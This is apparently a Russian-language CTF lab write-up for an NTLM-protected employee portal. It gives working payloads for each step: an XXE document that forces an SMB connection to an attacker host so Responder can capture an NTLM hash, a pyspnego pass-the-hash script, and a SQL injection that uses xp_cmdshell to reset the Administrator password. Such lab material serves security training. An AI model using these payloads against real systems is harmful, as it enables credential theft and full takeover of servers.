# DMZ NTLM(10.10.10.30)
## Описание
Здесь расположен корпоративный портал управления сотрудниками. Нам нужно получить как можно больше информации о сотрудниках, поэтому попробуй получить доступ к системе. Кстати, забыл сказать, у нас есть мощная машина для брутфорса хешей.
## Краткое описание уязвимостей
Доступны функции для загрузки XML-документов.
XXE → SSRF2SMB
PassTheHash для прохождения веб-аутентификации с помощью NTLM-хеша.
SQL-инъекция в параметрах поиска.
Включенный `xp_cmdshell`.
# Решение
## Исследование сервера
На корневом URL имеется NTLM-аутентификация.

Перебором директорий можно найти `/documnent`, где имеется форма для загрузки XML-документа.

Загрузка XML-документа с XXE на внешний ресурс вызывает HTTP-запрос.


## Подготовка эксплоита и исполнение
Загрузим полезную нагрузку в XML-файле с возможностью открытия файла по SMB и запустим Responder с `Challenge=1122334455667788` для получения NTLMv1.
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (ANY)>
<!ENTITY xxe SYSTEM "file:////<host>/test">]><foo>&xxe;</foo>
```

Данный хеш необходимо отправить боту и получить MD4 hex-строку от него:
`4b1e3ce3b920636efb5b18c7589bbef9`
Полученный хеш нужно использовать на странице с NTLM-аутентификацией для атаки Pass The Hash.
Пример Python-скрипта для создания NEGOTIATE-сообщений с использованием библиотеки [pyspnego](https://pypi.org/project/pyspnego/).
```Python
import spnego
import base64
client = spnego.client('Administrator',
'4b1e3ce3b920636efb5b18c7589bbef9:4b1e3ce3b920636efb5b18c7589bbef9',
protocol='ntlm')
negotiate = client.step()
print(base64.b64encode(negotiate).decode())
challenge = base64.b64decode(input("NTLM="))
authenticate = client.step(challenge)
print(base64.b64encode(authenticate).decode())
```
Подставим первое сообщение из скрипта в GET-запрос и скопируем полученный ответ от сервера.


Полученную строку необходимо вставить в третье сообщение.

Таким образом, получен доступ к новой панели с формой поиска сотрудников.

Введем в форму следующую полезную нагрузку для SQLi и выполнения CMD-команды для смены пароля у пользователя `Administrator` :
`'; EXEC xp_cmdshell 'net user Administrator 1qaz@WSX' -- `
После чего можно выполнить вход по RDP и прочитать содержимое файла `C:\flag.txt`
